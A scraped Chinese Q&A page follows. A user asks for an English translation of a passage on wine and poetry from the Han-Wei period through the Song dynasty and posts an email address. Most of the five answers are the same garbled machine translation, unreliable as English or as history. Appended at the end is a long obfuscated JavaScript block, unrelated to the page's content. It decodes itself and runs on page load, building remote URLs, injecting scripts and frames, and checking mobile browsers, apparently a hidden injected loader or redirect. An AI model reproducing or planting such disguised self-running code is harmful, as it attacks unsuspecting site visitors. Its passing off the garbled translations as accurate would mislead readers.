哪位高手能把下面的句子翻译成英语呀?小弟万分感谢! 不要在线翻译的。翻译完发我邮箱1041983464@qq.com

2025-02-12 13:35:07
推荐回答(5个)
回答1:

Seven hundred years han-wei-the six dynasties, creating a poem liquor romantic spring-and-autumn precedent, poem drinking wine fusion influence later generations, and make people feel gave the cultural implication of poetry. Have a wine because you have troubles, alcohol custom, appeared cao surname father and son, "fabrication peulthai", "bamboo forest QiXian" and history first with the wine of tao yuanming for intoned object.

Chinese famous clan of flourishing tang dynasty the poem liquor affinity to the history of the peak, and later difficult to surmount!

Tang economic prosperity, national strength strong, unprecedented development, slashed wine is no longer luxuries. The tang dynasty poet and drinking party, YinShi an ode to two activities is an organic whole, wen people often lend wine to stimulate poetry creation enthusiasm. Tang poem liquor most connected, accomplish truly the poem liquor blending liquor has no poem formed i-are, some poems there will be wine culture. There are countless praise wine poetry"

Li bai is tang culture gestate talented poet of, its outstanding self-confidence and conceit, arrogance and independent personality bold and unconstrained big-hearted tolerance and creative freedom of romantic feelings, to be remembered as "ShiXian". Li bai is not only "ShiXian", or worthy of the name "jiuxian," li bai life often drink sings to express will, one of which, "will become more into wine of wine and poem bards sublime!

The tang dynasty slashed and more than developed, technology more advanced, yield more; But the song dynasty for three hundred years, this conflict, rulers, foreign compromise, internally autocratic, make the song dynasty has become China's feudal society downhill great historical turning point. The changes of The Times cause poem pronouns xing historical process, song dynasty's poem liquor relation also become a kind of pursuit comfortably and aesthetic pleasure of heart of elegant drinks. Song ci poets in tang dynasty is not like that lend wine to arouse the enthusiasm of the poems of the gas, but.savor alcohol interest. Tang poem liquor irritable majestic, song ci, wine and liquor implicative fair ci-poems origin of the formation of a new style

回答2:

Six Dynasties seven years, creating a precedent Poem and Wine romantic poetry alcohol, Poem and Wine on the Fusion later, so that people feel the cultural implications of poetry to give. With the wine poured by depression, heavy drinker customs, there has been and His Sons, "the Seven", "Bamboo Grove" and the history of the first object to liquor chant Tao.
Golden Age of Chinese family names become attached to the Tang Poem and Wine into the peak of history, later hard to beat!
Economic prosperity of the Tang Dynasty, China was strong, the unprecedented development of wine industry, wine is no longer a luxury. Tang Dynasty poet again drinking party, stonewalls integration of the two events, the text often using alcohol to stimulate enthusiasm for poetry. Tang Poem and Wine is most connected, truly a Poem and Wine blend, forming a free wine, no poetry, a poem must have a unique wine culture. Praise of wine are just countless poems "

Li Bai is the genius of the Tang culture bred poet whose extraordinary self-confidence and ego, proud of the independent personality, uninhibited free and easy with the tolerance and freedom of creative romantic, was later hailed as "Shixian." Li Bai is not only a "Shixian" or real "immortals", Li Bai drinking often sing to life, ambition, including a "cursive" wine and poetry have become eternal farewell!

Than the Tang Dynasty, wine industry is more developed, more advanced technology, greater production; three hundred years, but the Song Dynasty, foreign aggression disputes, compromise of foreign rulers, internal tyranny, the decline of feudal society in China Song as a major historical turning point. Changes of the times caused the historical process of poetry pronouns Xing, Song, drinking became a relationship and the pursuit of spiritual well elegant aesthetic pleasure of the drink. Song-dynasty poet of the Tang Dynasty as no longer using alcohol and poetry to inspire high-spirited atmosphere, and instead savor the fun of drinking. Tang Poem and Wine Cuhao magnificent, subtle wine, Song Ci Su, Wine and Song of the origin of the formation of a new style
不好意思,你这篇文章实在太长,我只有用翻译机了╮(╯▽╰)╭

回答3:

Seven hundred years han-wei-the six dynasties, creating a poem liquor romantic spring-and-autumn precedent, poem drinking wine fusion influence later generations, and make people feel gave the cultural implication of poetry. Have a wine because you have troubles, alcohol custom, appeared cao surname father and son, "fabrication peulthai", "bamboo forest QiXian" and history first with the wine of tao yuanming for intoned object.
Chinese famous clan of flourishing tang dynasty the poem liquor affinity to the history of the peak, and later difficult to surmount!
Tang economic prosperity, national strength strong, unprecedented development, slashed wine is no longer luxuries. The tang dynasty poet and drinking party, YinShi an ode to two activities is an organic whole, wen people often lend wine to stimulate poetry creation enthusiasm. Tang poem liquor most connected, accomplish truly the poem liquor blending liquor has no poem formed i-are, some poems there will be wine culture. There are countless praise wine poetry"

Li bai is tang culture gestate talented poet of, its outstanding self-confidence and conceit, arrogance and independent personality bold and unconstrained big-hearted tolerance and creative freedom of romantic feelings, to be remembered as "ShiXian". Li bai is not only "ShiXian", or worthy of the name "jiuxian," li bai life often drink sings to express will, one of which, "will become more into wine of wine and poem bards sublime!

The tang dynasty slashed and more than developed, technology more advanced, yield more; But the song dynasty for three hundred years, this conflict, rulers, foreign compromise, internally autocratic, make the song dynasty has become China's feudal society downhill great historical turning point. The changes of The Times cause poem pronouns xing historical process, song dynasty's poem liquor relation also become a kind of pursuit comfortably and aesthetic pleasure of heart of elegant drinks. Song ci poets in tang dynasty is not like that lend wine to arouse the enthusiasm of the poems of the gas, but.savor alcohol interest. Tang poem liquor irritable majestic, song ci, wine and liquor implicative fair ci-poems origin of the formation of a new style.

回答4:

Seven hundred years han-wei-the six dynasties, creating a poem liquor romantic spring-and-autumn precedent, poem drinking wine fusion influence later generations, and make people feel gave the cultural implication of poetry. Have a wine because you have troubles, alcohol custom, appeared cao surname father and son, "fabrication peulthai", "bamboo forest QiXian" and history first with the wine of tao yuanming for intoned object.
Chinese famous clan of flourishing tang dynasty the poem liquor affinity to the history of the peak, and later difficult to surmount!
Tang economic prosperity, national strength strong, unprecedented development, slashed wine is no longer luxuries. The tang dynasty poet and drinking party, YinShi an ode to two activities is an organic whole, wen people often lend wine to stimulate poetry creation enthusiasm. Tang poem liquor most connected, accomplish truly the poem liquor blending liquor has no poem formed i-are, some poems there will be wine culture. There are countless praise wine poetry"

Li bai is tang culture gestate talented poet of, its outstanding self-confidence and conceit, arrogance and independent personality bold and unconstrained big-hearted tolerance and creative freedom of romantic feelings, to be remembered as "ShiXian". Li bai is not only "ShiXian", or worthy of the name "jiuxian," li bai life often drink sings to express will, one of which, "will become more into wine of wine and poem bards sublime!

The tang dynasty slashed and more than developed, technology more advanced, yield more; But the song dynasty for three hundred years, this conflict, rulers, foreign compromise, internally autocratic, make the song dynasty has become China's feudal society downhill great historical turning point. The changes of The Times cause poem pronouns xing historical process, song dynasty's poem liquor relation also become a kind of pursuit comfortably and aesthetic pleasure of heart of elegant drinks. Song ci poets in tang dynasty is not like that lend wine to arouse the enthusiasm of the poems of the gas, but.savor alcohol interest. Tang poem liquor irritable majestic, song ci, wine and liquor implicative fair ci-poems origin of the formation of a new style.。

回答5:

Seven hundred years han-wei-the six dynasties, creating a poem liquor romantic spring-and-autumn precedent, poem drinking wine fusion influence later generations, and make people feel gave the cultural implication of poetry. Have a wine because you have troubles, alcohol custom, appeared cao surname father and son, "fabrication peulthai", "bamboo forest QiXian" and history first with the wine of tao yuanming for intoned object.

Chinese famous clan of flourishing tang dynasty the poem liquor affinity to the history of the peak, and later difficult to surmount!

Tang economic prosperity, national strength strong, unprecedented development, slashed wine is no longer luxuries. The tang dynasty poet and drinking party, YinShi an ode to two activities is an organic whole, wen people often lend wine to stimulate poetry creation enthusiasm. Tang poem liquor most connected, accomplish truly the poem liquor blending liquor has no poem formed i-are, some poems there will be wine culture. There are countless praise wine poetry"

Li bai is tang culture gestate talented poet of, its outstanding self-confidence and conceit, arrogance and independent personality bold and unconstrained big-hearted tolerance and creative freedom of romantic feelings, to be remembered as "ShiXian". Li bai is not only "ShiXian", or worthy of the name "jiuxian," li bai life often drink sings to express will, one of which, "will become more into wine of wine and poem bards sublime!

The tang dynasty slashed and more than developed, technology more advanced, yield more; But the song dynasty for three hundred years, this conflict, rulers, foreign compromise, internally autocratic, make the song dynasty has become China's feudal society downhill great historical turning point. The changes of The Times cause poem pronouns xing historical process, song dynasty's poem liquor relation also become a kind of pursuit comfortably and aesthetic pleasure of heart of elegant drinks. Song ci poets in tang dynasty is not like that lend wine to arouse the enthusiasm of the poems of the gas, but.savor alcohol interest. Tang poem liquor irritable majestic, song ci, wine and liquor implicative fair ci-poems origin of the formation of a new style.

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();